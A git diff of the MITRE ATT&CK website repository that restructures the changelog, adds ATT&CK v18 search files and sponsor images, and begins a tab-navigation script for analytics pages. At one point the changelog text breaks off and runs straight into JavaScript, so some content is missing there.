diff --git a/.gitignore b/.gitignore index 2bcb8d71add..23bc9be1547 100644 --- a/.gitignore +++ b/.gitignore @@ -8,6 +8,7 @@ venv .venv __pycache__/ modules/__pycache__/* +.envrc attack-versions/ attack-releases/ @@ -17,6 +18,9 @@ reports/ attack-theme/templates/general/base.html attack-theme/templates/benefactors attack-theme/templates/datasources +attack-theme/templates/detectionstrategies +attack-theme/templates/analytics +attack-theme/templates/datacomponents attack-theme/templates/groups attack-theme/templates/campaigns attack-theme/templates/assets diff --git a/CHANGELOG.md b/CHANGELOG.md index 75ca4291ec4..ca3cb2f0b7e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,298 +1,307 @@ -# v4.3.0 (2025-09-25) +# Website Changelog -## Features +## v4.4.0 (2025-10-28) + +### Features + +* Release ATT&CK content version 18.0. + See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v18.0). + +## v4.3.0 (2025-09-25) + +### Features * Update versions module to speed up how previous versions are created * Previous versions of website only archive ATT&CK object pages and redirect Resource pages to the latest version * Add Excel file table to ATT&CK data and tools for easier access to previous versions -# v4.2.3 (2025-05-06) +## v4.2.3 (2025-05-06) -## Features +### Features * Release ATT&CK content version 17.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.1). -# v4.2.2 (2025-04-22) +## v4.2.2 (2025-04-22) -## Features +### Features * Release ATT&CK content version 17.0. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v17.0). * Update Python to version 3.13.3 -# v4.2.1 (2024-11-12) +## v4.2.1 (2024-11-12) -## Features +### Features * Release ATT&CK content version 16.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v16.1). -# v4.2.0 (2024-10-31) +## v4.2.0 (2024-10-31) -## Features +### Features * Release ATT&CK content version 16.0. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v16.0). -# v4.1.6 (2024-08-15) +## v4.1.6 (2024-08-15) -## Docs +### Docs * Add updated ATT&CK poster on Getting Started page. * Update training pages to have embedded YouTube player. -# v4.1.5 (2024-07-18) +## v4.1.5 (2024-07-18) -## Misc +### Misc * Added new ATT&CK trainings. * Moved sidebar headings around to add ATT&CKcon to be at the top level. -# v4.1.4 (2024-06-19) +## v4.1.4 (2024-06-19) -## Misc +### Misc * Updated CTI Training to latest version. * Updated banner related to ATT&CKcon 5.0. -# v4.1.3 (2024-05-02) +## v4.1.3 (2024-05-02) * Release ATT&CK content version 15.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v15.1). -# v4.1.2 (2024-04-23) +## v4.1.2 (2024-04-23) * Release [ATT&CK content version 15.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v15.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-april-2024/). -# v4.1.1 (2024-02-05) +## v4.1.1 (2024-02-05) -## Misc +### Misc * Added Lightning Talk YouTube links for ATT&CKcon 4.0 -## Bugfixes +### Bugfixes * Changed priority of random page module to be able to load pages from the random page button and dropdown * Fixed title and images on attack data and tools page -# v4.1.0 (2024-01-22) +## v4.1.0 (2024-01-22) -## Bugfixes +### Bugfixes * Updated Benefactors page. [#477](https://github.com/mitre-attack/attack-website/issues/477) * Fixed offline hosting issue for Fontawesome fonts. [#488](https://github.com/mitre-attack/attack-website/issues/488) -# v4.0.8 (2023-11-22) +## v4.0.8 (2023-11-22) -## Bugfixes +### Bugfixes * Add mobile datasources to excel output. -## Misc +### Misc * Updated Caldera description. * Enforce better SSL security practices when building the website. -# v4.0.7 (2023-11-14) +## v4.0.7 (2023-11-14) -## Features +### Features * Release ATT&CK content version 14.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v14.1). -# v4.0.6 (2023-10-31) +## v4.0.6 (2023-10-31) -## Features +### Features * Data sources table can now be sorted and filtered based on domains. [#454](https://github.com/mitre-attack/attack-website/issues/454) * Release [ATT&CK content version 14.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v14.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-october-2023/). -# v4.0.5 (2023-09-01) +## v4.0.5 (2023-09-01) -## Features +### Features * The sidebar is now collapsable and displayed properly in mobile view [#450](https://github.com/mitre-attack/attack-website/issues/450) -## Bugfixes +### Bugfixes * Changed the UUID generation logic to use CONTENT_VERSION and WEBSITE_VERSION as seeds for idempotent UUID creation. This prevents the creation of redundant IndexedDB tables. [#455](https://github.com/mitre-attack/attack-website/issues/455) -# v4.0.4 (2023-08-11) +## v4.0.4 (2023-08-11) -## Features +### Features * Sidebar is now resizable. [#349](https://github.com/mitre-attack/attack-website/issues/349) * Update the resource pages to have a sidebar. [#441](https://github.com/mitre-attack/attack-website/issues/441) * Add a page for the ATT&CK brand guide. [#445](https://github.com/mitre-attack/attack-website/issues/445) * Clean up the FAQ and ATT&CKcon pages in the Resources section to split them into more readable pages. [#446](https://github.com/mitre-attack/attack-website/issues/446) -## Bugfixes +### Bugfixes * Minor adjustment to print layout to not show scrollbars anymore. [#403](https://github.com/mitre-attack/attack-website/issues/403) -## Improved Documentation +### Improved Documentation * Update README and developer documentation on how to set up local environment using Docker. [#427](https://github.com/mitre-attack/attack-website/issues/427) -## Misc +### Misc * Configure Sonarcloud to track project metrics better. [#431](https://github.com/mitre-attack/attack-website/issues/431) -# v4.0.3 (2023-05-09) +## v4.0.3 (2023-05-09) -## Features +### Features * Release ATT&CK content version 13.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v13.1). -# v4.0.2 (2023-04-27) +## v4.0.2 (2023-04-27) -## Features +### Features * Release [ATT&CK content version 13.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v13.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-april-2023/). -## Misc +### Misc * Center align the Contact page information. [#399](https://github.com/mitre-attack/attack-website/issues/399) * Update mitreattack-python to latest. [#400](https://github.com/mitre-attack/attack-website/issues/400) -# v4.0.1 (2022-11-08) +## v4.0.1 (2022-11-08) -## Features +### Features * Release ATT&CK content version 12.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v12.1). -## Bugfixes +### Bugfixes * Fixed Data Source pages to not display sections for Data Components that have no detections associated with them. -## Miscellaneous +### Miscellaneous * Refactored CHANGELOG headers to conform to latest template for version and date. -# v4.0.0 (2022-10-25) +## v4.0.0 (2022-10-25) -## Features +### Features * Release [ATT&CK content version 12.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v12.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-october-2022/). * Add support for [Campaigns](https://github.com/mitre/cti/blob/master/USAGE.md#campaigns) [#384](https://github.com/mitre-attack/attack-website/issues/384) -# v3.6.7 (2022-08-24) +## v3.6.7 (2022-08-24) -## Bugfixes +### Bugfixes * Update mitreattack-python library dependency to get diff_stix script to work again. [#386](https://github.com/mitre-attack/attack-website/issues/386) -# v3.6.6 (2022-08-23) +## v3.6.6 (2022-08-23) -## Bugfixes +### Bugfixes * Removed deprecated objects from search results. [#352](https://github.com/mitre-attack/attack-website/issues/352) -# v3.6.5 (2022-07-17) +## v3.6.5 (2022-07-17) -## Bugfixes +### Bugfixes * Resource pages now display properly when displayed on large monitors. [#378](https://github.com/mitre-attack/attack-website/issues/378) -# v3.6.4 (2022-07-07) +## v3.6.4 (2022-07-07) This release promotes the Mobile sub-techniques from beta to stable. It also fixes a few minor STIX abnormalities for ICS Techniques. -## Features +### Features * Release ATT&CK content version 11.3. * Updated resources page with ATT&CKcon 3.0 presentations. -# v3.6.3 (2022-06-30) +## v3.6.3 (2022-06-30) -## Bugfixes +### Bugfixes * Deprecated subtechniques will no longer be displayed. * Add [mobile-subtechniques-crosswalk.json](https://attack.mitre.org/docs/subtechniques/mobile-subtechniques-crosswalk.json) -## Features +### Features * Added optional Google Analytics to the attack-theme Pelican template * Fixed link in v11 Updates page to go to Boot or Logon Autostart Execution: Plist Modification (T1547.011) -# v3.6.2 (2022-05-24) +## v3.6.2 (2022-05-24) -## Features +### Features * Release ATT&CK content version 11.2. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v11.2). -# v3.6.1 (2022-05-12) +## v3.6.1 (2022-05-12) -## Features +### Features * Release ATT&CK content version 11.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v11.1). * Update requirements.txt dependencies to latest versions of libraries, and only includes libraries directly used -# v3.6.0 (2022-04-25) +## v3.6.0 (2022-04-25) -## Features +### Features * Release [ATT&CK content version 11.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v11.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-april-2022/). * Add LinkById test that checks STIX used to build the site for any unparseable ATT&CK IDs. LinkById is a construct used in ATT&CK Workbench -## Bugfixes +### Bugfixes * Fixed brackets inside of descriptions from being duplicated. See issue [#353](https://github.com/mitre-attack/attack-website/issues/343). * Fixed non-deprecated relationships between mitigations and techniques from showing up on technique pages. See issue [#358](https://github.com/mitre-attack/attack-website/issues/358). * Fixed non-deprecated software created by Workbench from appearing as deprecated in the page's description. See issue [#355](https://github.com/mitre-attack/attack-website/issues/355). -# v3.5.0 (2022-01-07) +## v3.5.0 (2022-01-07) -## Features +### Features * Updated ATT&CK Navigator and layer versions. See issue [#343](https://github.com/mitre-attack/attack-website/issues/343). -# v3.4.3 (2021-11-24) +## v3.4.3 (2021-11-24) -## Bugfixes +### Bugfixes * Fixed footer on tactic list pages. See issue [#339](https://github.com/mitre-attack/attack-website/issues/339). * Fixed table scrolling on technique and tactic list pages. * Fixed deprecation marker on tactic list pages for deprecated domains. -# v3.4.2 (2021-11-10) +## v3.4.2 (2021-11-10) -## Features +### Features * Release ATT&CK content version 10.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v10.1). * Added deprecation card to deprecated mitigations, groups, and software as already observed in deprecated techniques. -## Bugfixes +### Bugfixes * Fixed an issue where release notes were incorrectly linking data source pages. -# v3.4.1 (2021-10-27) +## v3.4.1 (2021-10-27) -## Features +### Features * Minor UI readability improvement to toolbar that displays ATT&CK content and website version. * Added random query string to site.js to prevent that file from being cached between releases. * ATT&CK in Excel only creates hyperlinks to documents that were created by attackToExcel.py. -## Bugfixes +### Bugfixes * Fixed an issue where deprecated and revoked sub-techniques could appear on matrices. -# v3.4.0 (2021-10-21) +## v3.4.0 (2021-10-21) -## Features +### Features * Release [ATT&CK content version 10.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v10.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-october-2021/). @@ -306,27 +315,27 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Added definitions to technique, tactic, mitigation list pages. * Improved supports remote definition for techniques. -## Bugfixes +### Bugfixes * Fixed dockerfile to not fail due to test warning. See issue [#326](https://github.com/mitre-attack/attack-website/issues/326). * Fixed build from crashing when a technique does not have a defined platform. See issue [#329](https://github.com/mitre-attack/attack-website/issues/329). * Fixed build from crashing when a tactic does not have defined techniques. See issue [#73](https://github.com/mitre-attack/attack-website/issues/73). * Fixed build from crashing when an object that supports references does not have a defined reference. See issue [#321](https://github.com/mitre-attack/attack-website/issues/321). -# v3.3.1 (2021-07-01) +## v3.3.1 (2021-07-01) -## Features +### Features * Updated docs to clarify that both STIX 2.0 and STIX 2.1 input data is supported. See issue [#317](https://github.com/mitre-attack/attack-website/issues/317). * Updated [privacy policy](https://attack.mitre.org/resources/legal-and-branding/privacy/). -## Bugfixes +### Bugfixes * Hyperlinks in matrices will no longer direct users to attack.mitre.org on custom instances of the site. See issue [#319](https://github.com/mitre-attack/attack-website/issues/319). -# v3.3.0 (2021-06-30) +## v3.3.0 (2021-06-30) -## Features +### Features * Improved usability of matrix side layout to better differentiate tactic columns. See issue [#273](https://github.com/mitre-attack/attack-website/issues/273). * Improved matrix layout selection to include layout in dropdown title. See issue [#277](https://github.com/mitre-attack/attack-website/issues/277). @@ -334,45 +343,45 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Updated the [working with ATT&CK](https://attack.mitre.org/resources/attack-data-and-tools/) page to mention [ATT&CK Workbench](https://github.com/center-for-threat-informed-defense/attack-workbench-frontend) and [STIX 2.1 support](https://github.com/mitre-attack/attack-stix-data). * Updated matrix poster to most recent version of ATT&CK. -## Bugfixes +### Bugfixes * Moved and renamed redirections module to main modules. Prevents broken hyperlinks from revoked objects that would appear when running the build without the optional --extras flag. See issue [#278](https://github.com/mitre-attack/attack-website/issues/278). * Fixed broken links on the Getting Started page. See issue [#281](https://github.com/mitre-attack/attack-website/issues/281). * Updated Dockerfile to build from Ubuntu 20.04 LTS. See issue [#312](https://github.com/mitre-attack/attack-website/issues/312). -# v3.2.3 (2021-06-16) +## v3.2.3 (2021-06-16) -## Features +### Features * Added support for deprecated relationships, software and groups. Deprecated relationships, software and groups will not appear on the website UI but can be added to STIX bundles. See issue [#302](https://github.com/mitre-attack/attack-website/issues/302) and [#305](https://github.com/mitre-attack/attack-website/issues/305). * Added support for input data with more than one object with the same STIX or ATT&CK ID which can occur if there are multiple versions of the object present in the data. Website will display the most recently modified object depending on the deprecation status. See issue [#304](https://github.com/mitre-attack/attack-website/issues/304). * Sorted sub-techniques by ATT&CK ID on Techniques Used tables. See issue [#314](https://github.com/mitre-attack/attack-website/issues/314). -## Bugfixes +### Bugfixes * Fixed Dockerfile which would not run on the current website version. See issue [#313](https://github.com/mitre-attack/attack-website/issues/313). * Fixed some issues where objects would appear in the wrong domain under specific circumstances. See issue [#310](https://github.com/mitre-attack/attack-website/issues/310). -# v3.2.2 (2021-05-20) +## v3.2.2 (2021-05-20) -## Features +### Features * Improved testing of external links to report all instances of non-200 responses (instead of just 404 responses) and provide better reporting on the results of the test. -## Bugfixes +### Bugfixes * Added missing groups excel in the ATT&CK in Excel section of [Working with ATT&CK](https://attack.mitre.org/resources/attack-data-and-tools/). * Fixed CTI training ticket number 4473845 -> 473845. See issue [#296](https://github.com/mitre-attack/attack-website/issues/296). -# v3.2.1 (2021-04-29) +## v3.2.1 (2021-04-29) -## Bugfixes +### Bugfixes * Removing duplicate "Command: Command Execution" data source from (sub-)techniques. -# v3.2.0 (2021-04-29) +## v3.2.0 (2021-04-29) -## Features +### Features * Release [ATT&CK content version 9.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v9.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-april-2021/index.html). @@ -391,42 +400,42 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Improved the [Working with ATT&CK](https://attack.mitre.org/resources/attack-data-and-tools/) page with additional information about ATT&CK data and the tools with which it can be manipulated. The new page also includes generated Excel spreadsheets representing the ATT&CK knowledge base (see also [mitreattack-python](https://github.com/mitre-attack/mitreattack-python)'s attackToExcel converter). See issue [#142](https://github.com/mitre-attack/attack-website/issues/142). * Data sources in technique cards are now hyperlinks to the [attack-datasources GitHub repository](https://github.com/mitre-attack/attack-datasources). -## Bugfixes +### Bugfixes * Fixed a bug with automatic redirection generation which was causing some redirects to build in the wrong directory. -# v3.1.1 (2021-03-23) +## v3.1.1 (2021-03-23) -## Features +### Features * Updated ATT&CKcon page with ATT&CKcon Power Hour. -# v3.1 (2021-01-27) +## v3.1 (2021-01-27) -## Features +### Features * Release ATT&CK content version 8.2. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v8.2). * Updated Navigator layers to version 4.1 so that users are no longer warned that they are out of date. * Updated introductory video on [getting started](https://attack.mitre.org/resources/) page. -# No website version update (2020-11-12) +## No website version update (2020-11-12) -## Features +### Features * Release ATT&CK content version 8.1. See detailed changes [here](https://github.com/mitre/cti/releases/tag/ATT%26CK-v8.1). * new reporting and procedure examples for `G0102` -## Bugfixes +### Bugfixes * Fixed typo "stressor" to "stresser" * Fixed type and version for `S0154` * Fixed contributors for `T1598`, `T1598.001`, `T1598.002`, `T1598.003`, and `S0514` -# v3.0 (2020-10-27) +## v3.0 (2020-10-27) -## Features +### Features * Release [ATT&CK content version 8.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v8.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-october-2020/index.html). @@ -444,7 +453,7 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Website built by users are visually distinct from attack.mitre.org unless brand flag is added as an argument. See issue [#240](https://github.com/mitre-attack/attack-website/issues/240). * Website is built without specific related ATT&CK content such as resources, contribute, and blog unless specified. See issue [#241](https://github.com/mitre-attack/attack-website/issues/241). -## Bugfixes +### Bugfixes * Fixed bug where bootstrap dropdown menu buttons require two clicks to open the first time they are opened. See issue [#152](https://github.com/mitre-attack/attack-website/issues/152). * Fixed subdirectory support for navigator links on groups and software pages. See issue [#170](https://github.com/mitre-attack/attack-website/issues/170). @@ -452,40 +461,40 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Fixed (for most scenarios) slow loading of the search index when using Firefox. See issues [#167](https://github.com/mitre-attack/attack-website/issues/167) and [#187](https://github.com/mitre-attack/attack-website/issues/187). * Fixed versioning feature ran under a subdirectory. See issue [#200](https://github.com/mitre-attack/attack-website/issues/200). -# v2.1.4 (2020-08-08) +## v2.1.4 (2020-08-08) -## Features +### Features * Updated roadmap and matrix poster on the [resources](https://attack.mitre.org/resources/) page. See issue [#255](https://github.com/mitre-attack/attack-website/issues/255). -# v2.1.3 (2020-08-06) +## v2.1.3 (2020-08-06) -## Features +### Features * Added note on the [CTI training page](https://attack.mitre.org/resources/learn-more-about-attack/training/cti/) to indicate that ATT&CK v6 should be used instead of ATT&CK v7. See issue [#221](https://github.com/mitre-attack/attack-website/issues/221). -# No website version update (2020-07-15) +## No website version update (2020-07-15) -## Features +### Features * Release [ATT&CK content version 7.2](https://github.com/mitre/cti/releases/tag/ATT%26CK-v7.2). -## Bugfixes +### Bugfixes * Removed Windows platform from Modify Authentication Process: [Pluggable Authentication Modules](https://attack.mitre.org/techniques/T1556/003/). * Updated contributors for Account Manipulation: [Additional Azure Service Principal Credentials](https://attack.mitre.org/techniques/T1098/001/). * Added missing `x_mitre_is_subtechnique` field to several techniques. * Updated T1064 in the sub-technique crosswalks. -# v2.1.2 (2020-07-13) +## v2.1.2 (2020-07-13) -## Features +### Features * Release [ATT&CK content version 7.1](https://github.com/mitre/cti/releases/tag/ATT%26CK-v7.1). * Added links to ATT&CK Navigator layers for the July 2020 release. See issues [attack-website#208](https://github.com/mitre-attack/attack-website/issues/208), and [attack-navigator#194](https://github.com/mitre-attack/attack-navigator/issues/194). * Updated contribute page. See issue [#207](https://github.com/mitre-attack/attack-website/issues/207). -## STIX Bugfixes +### STIX Bugfixes * Removed Azure platform from Brute Force: [Password Cracking](https://attack.mitre.org/techniques/T1110/002/). * Added Linux and macOS platforms to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140/) and Impair Defenses: [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006/). @@ -502,7 +511,7 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. | Added the relationship [Dark Caracal](https://attack.mitre.org/groups/G0070/) ⟹ [Pallas](https://attack.mitre.org/software/S0399/) to mobile-attack | Relationship moved from enterprise | | Added the relationship [Bouncing Golf](https://attack.mitre.org/groups/G0097/) ⟹ [GolfSpy](https://attack.mitre.org/software/S0421/) to mobile-attack | Relationship moved from enterprise | -### Website Bugfixes +#### Website Bugfixes * Corrected the end date of v6 in the [preserved version](https://attack.mitre.org/versions/v6/), on the [Versions of ATT&CK page](https://attack.mitre.org/resources/versions/), and [v6 release notes](https://attack.mitre.org/resources/updates/updates-october-2019/index.html). See issue [#204](https://github.com/mitre-attack/attack-website/issues/204). * Removed links to the `/beta/` website from the changelog and March 2020 release notes. See issue [#205](https://github.com/mitre-attack/attack-website/issues/205). @@ -511,22 +520,22 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Fixed the preserved v6 and v3 versions of the site so that the search interface doesn't send the user to the current site when they click on links. See issue [#215](https://github.com/mitre-attack/attack-website/issues/215). * Fixed a typo on the enterprise matrices. -# v2.1.1 (2020-07-08) +## v2.1.1 (2020-07-08) -## Features +### Features * Improved matrix page header layout with versioning feature. See issue [#190](https://github.com/mitre-attack/attack-website/issues/190). * Added versioning feature to [tour](https://attack.mitre.org/?tour=true). See issue [#191](https://github.com/mitre-attack/attack-website/issues/191). -## Bugfixes +### Bugfixes * Fixed number of tactics displayed on tactics overview pages. See issue [#183](https://github.com/mitre-attack/attack-website/issues/183). * Fixed objects without descriptions not showing up on techniques used tables. See issue [#186](https://github.com/mitre-attack/attack-website/issues/186). * Fixed a bug where contributor lists were delimited with commas instead of semicolons on group and software pages. See issue [#196](https://github.com/mitre-attack/attack-website/issues/196). -# v2.1 (2020-07-08) +## v2.1 (2020-07-08) -## Features +### Features * Release [ATT&CK content version 7.0](https://github.com/mitre/cti/releases/tag/ATT%26CK-v7.0). See the release notes [here](https://attack.mitre.org/resources/updates/updates-july-2020/index.html). @@ -537,7 +546,7 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Added Navigator layers to the changelog of the sub-techniques update. See issue [#126](https://github.com/mitre-attack/attack-website/issues/126). * Updated [contribute page](https://attack.mitre.org/resources/engage-with-attack/contribute). See issue [#162](https://github.com/mitre-attack/attack-website/issues/162). -## Bugfixes +### Bugfixes * Added internet explorer support for the sub-techniques matrix. Improved behavior of sub-techniques matrix in Edge browser. See issue [#114](https://github.com/mitre-attack/attack-website/issues/114). * Fixed bug where sidenav wouldn't open the correct tactic when opening the sub-technique of a technique. See issue [#78](https://github.com/mitre-attack/attack-website/issues/78). @@ -548,9 +557,9 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Fixed outdated ATT&CK Navigator link on the contact page. See issue [#143](https://github.com/mitre-attack/attack-website/issues/143). * Updated incorrect technique count on March 2020 update. See issue [#141](https://github.com/mitre-attack/attack-website/issues/141). -# v2.0 (2020-07-07) +## v2.0 (2020-07-07) -## Features +### Features * Release [ATT&CK content version 7.0-beta](https://github.com/mitre/cti/releases/tag/ATT%26CK-v7.0-beta). See the release notes [here](https://attack.mitre.org/resources/updates/updates-march-2020/index.html). @@ -579,17 +588,17 @@ It also fixes a few minor STIX abnormalities for ICS Techniques. * Matrix timestamps are now calculated from the modified date on the x-mitre-matrix STIX object. Additionally, said timestamps are now formatted the same as modified dates on other pages of the website. See issue [#27](https://github.com/mitre-attack/attack-website/issues/27). * Revisions to the layout of the matrix pages to improve readability when multiple matrices occur within a domain. -# v1.3.1 (2020-06-17) +## v1.3.1 (2020-06-17) -## Bugfixes +### Bugfixes * Fixed navigator links on groups and software pages that were repeating the domain on the URI. See issues [#169](https://github.com/mitre-attack/attack-website/issues/169) and [#192](https://github.com/mitre-attack/attack-website/issues/192). -# v1.3 (2020-06-10) +## v1.3 (2020-06-10) This update includes a major refactor of the ATT&CK catalog versioning system, previously referred to as "previous versions." -## Features +### Features * Versions have been moved from `/previous/monthYear` to `/versions/v#` which should be more predictable and consistent with the way the versions are referred to elsewhere. Redirects have been created so that users who bookmarked the old URLs will get sent to the new ones. See issue [#174](https://github.com/mitre-attack/attack-website/issues/174). * Added a permalink to the current version of the site. See issue [#175](https://github.com/mitre-attack/attack-website/issues/175). @@ -602,36 +611,36 @@ This update includes a major refactor of the ATT&CK catalog versioning system, p * Revised blurb on how versions work to explain our methodology behind the catalog version numbers and versioning system. * Updated past release notes to mention the version number for each release. -# No website version update (2020-03-31) +## No website version update (2020-03-31) The sub-techniques beta is now live! Read the release blog post for more details. -## Features +### Features * Added sub-techniques release announcement banner. * Added sub-techniques release docs -# No website version update (2020-03-09) +## No website version update (2020-03-09) -## Features +### Features * Release [ATT&CK content version 6.3](https://github.com/mitre/cti/releases/tag/ATT%26CK-v6.3). -## Bugfixes +### Bugfixes * Fixed typo in M1026. * Updated copyright statement marking-definition to match that on [https://attack.mitre.org](https://attack.mitre.org). * Fixed invalid bundle IDs on marking-definition objects. -# v1.2.4 (2020-03-06) +## v1.2.4 (2020-03-06) -## Bugfixes +### Bugfixes * Minor revision to the ATT&CK logo. -# v1.2.3 (2020-03-04) +## v1.2.3 (2020-03-04) -## Features +### Features * Updated trademark language. See issue [#54](https://github.com/mitre-attack/attack-website/issues/54). * Updated ATT&CK™ to ATT&CK®. See issue [#55](https://github.com/mitre-attack/attack-website/issues/55). @@ -640,25 +649,25 @@ The sub-techniques beta is now live! Read the { jsonFiles.push(baseUrl + filename); }); // Use Promise.all() to download all files concurrently Promise.all(jsonFiles.map(url => $.getJSON(url))) - .then(data => { - // Concatenate all file data into a single array - const combinedData = data.reduce((acc, curr) => acc.concat(curr), []); - - // Initialize search service with combined data - searchService = new SearchService('search-results', build_uuid); - return searchService.initializeAsync(combinedData); - }) - .then(() => { - localStorage.setItem('saved_uuid', build_uuid); - console.debug('SearchService is initialized.'); - searchParsingIcon.hide(); - searchServiceIsLoaded = true; - }) - .catch(error => { - console.error('Failed to initialize SearchService:', error); - searchParsingIcon.hide(); - searchServiceIsLoaded = false; - }); + .then(data => { + // Concatenate all file data into a single array + const combinedData = data.reduce((acc, curr) => acc.concat(curr), []); + + // Initialize search service with combined data + const searchService = new SearchService('search-results', build_uuid); + return searchService.initializeAsync(combinedData); + }) + .then(() => { + localStorage.setItem('saved_uuid', build_uuid); + console.debug('SearchService is initialized.'); + searchParsingIcon.hide(); + searchServiceIsLoaded = true; + }) + .catch(error => { + console.error('Failed to initialize SearchService:', error); + searchParsingIcon.hide(); + searchServiceIsLoaded = false; + }); } } else { diff --git a/attack-search/src/settings.js b/attack-search/src/settings.js index a01ad11ff3e..7ce31b74565 100644 --- a/attack-search/src/settings.js +++ b/attack-search/src/settings.js @@ -1,18 +1,21 @@ const baseURL = ''; // TODO migrate from base_url (generated via Pelican) const searchFilePaths = [ - "campaigns.json", - "assets.json", - "datasources.json", - "groups.json", - "matrices.json", - "misc.json", - "mitigations.json", - "software.json", - "tactics.json", - "techniques.json" -] + 'campaigns.json', + 'assets.json', + 'datasources.json', + 'datacomponents.json', + 'groups.json', + 'matrices.json', + 'misc.json', + 'mitigations.json', + 'software.json', + 'tactics.json', + 'techniques.json', + 'detectionstrategies.json', + 'analytics.json', +]; module.exports = { - baseURL, - searchFilePaths -} + baseURL, + searchFilePaths, +}; diff --git a/attack-theme/static/images/attackcon6/ATTACKCON_6.0_banner.png b/attack-theme/static/images/attackcon6/ATTACKCON_6.0_banner.png new file mode 100644 index 00000000000..d5bd490b671 Binary files /dev/null and b/attack-theme/static/images/attackcon6/ATTACKCON_6.0_banner.png differ diff --git a/attack-theme/static/images/attackcon6/cyberdefensemagazine.jpg b/attack-theme/static/images/attackcon6/cyberdefensemagazine.jpg new file mode 100644 index 00000000000..46dc3b4cde9 Binary files /dev/null and b/attack-theme/static/images/attackcon6/cyberdefensemagazine.jpg differ diff --git a/attack-theme/static/images/attackcon6/deeptempo.png b/attack-theme/static/images/attackcon6/deeptempo.png new file mode 100644 index 00000000000..46bb9a45eda Binary files /dev/null and b/attack-theme/static/images/attackcon6/deeptempo.png differ diff --git a/attack-theme/static/images/attackcon6/feedly.png b/attack-theme/static/images/attackcon6/feedly.png new file mode 100644 index 00000000000..3cc91e09e53 Binary files /dev/null and b/attack-theme/static/images/attackcon6/feedly.png differ diff --git a/attack-theme/static/images/attackcon6/material.png b/attack-theme/static/images/attackcon6/material.png new file mode 100644 index 00000000000..6b05d06884e Binary files /dev/null and b/attack-theme/static/images/attackcon6/material.png differ diff --git a/attack-theme/static/images/attackcon6/redcanary.png b/attack-theme/static/images/attackcon6/redcanary.png new file mode 100644 index 00000000000..7c1939c94cd Binary files /dev/null and b/attack-theme/static/images/attackcon6/redcanary.png differ diff --git a/attack-theme/static/images/attackcon6/safebreach.png b/attack-theme/static/images/attackcon6/safebreach.png new file mode 100644 index 00000000000..562796d3b75 Binary files /dev/null and b/attack-theme/static/images/attackcon6/safebreach.png differ diff --git a/attack-theme/static/images/attackcon6/securityrisk.png b/attack-theme/static/images/attackcon6/securityrisk.png new file mode 100644 index 00000000000..41ba041cdf1 Binary files /dev/null and b/attack-theme/static/images/attackcon6/securityrisk.png differ diff --git a/attack-theme/static/images/attackcon6/specterops.png b/attack-theme/static/images/attackcon6/specterops.png new file mode 100644 index 00000000000..6605fd55b2b Binary files /dev/null and b/attack-theme/static/images/attackcon6/specterops.png differ diff --git a/attack-theme/static/images/attackcon6/threatconnect.png b/attack-theme/static/images/attackcon6/threatconnect.png new file mode 100644 index 00000000000..7448519090a Binary files /dev/null and b/attack-theme/static/images/attackcon6/threatconnect.png differ diff --git a/attack-theme/static/images/attackcon6/tidalcyber.png b/attack-theme/static/images/attackcon6/tidalcyber.png new file mode 100644 index 00000000000..245ed57d36e Binary files /dev/null and b/attack-theme/static/images/attackcon6/tidalcyber.png differ diff --git a/attack-theme/static/images/attackcon6/trendmicro.png b/attack-theme/static/images/attackcon6/trendmicro.png new file mode 100644 index 00000000000..e20ccbeb628 Binary files /dev/null and b/attack-theme/static/images/attackcon6/trendmicro.png differ diff --git a/attack-theme/static/images/attackcon6/vmray.png b/attack-theme/static/images/attackcon6/vmray.png new file mode 100644 index 00000000000..f2fff7512db Binary files /dev/null and b/attack-theme/static/images/attackcon6/vmray.png differ diff --git a/attack-theme/static/scripts/analytics-tab-nav.js b/attack-theme/static/scripts/analytics-tab-nav.js new file mode 100644 index 00000000000..306b954f9ba --- /dev/null +++ b/attack-theme/static/scripts/analytics-tab-nav.js @@ -0,0 +1,61 @@ +document.addEventListener("DOMContentLoaded", navigateToAnalyticTabFromHash); + +function navigateToAnalyticTabFromHash() { + if (window.location.hash) { + // get analytic ID & header from URL hash + const analyticId = window.location.hash.substring(1); + const analyticHeader = document.getElementById(analyticId); + if (!analyticHeader) return; + + 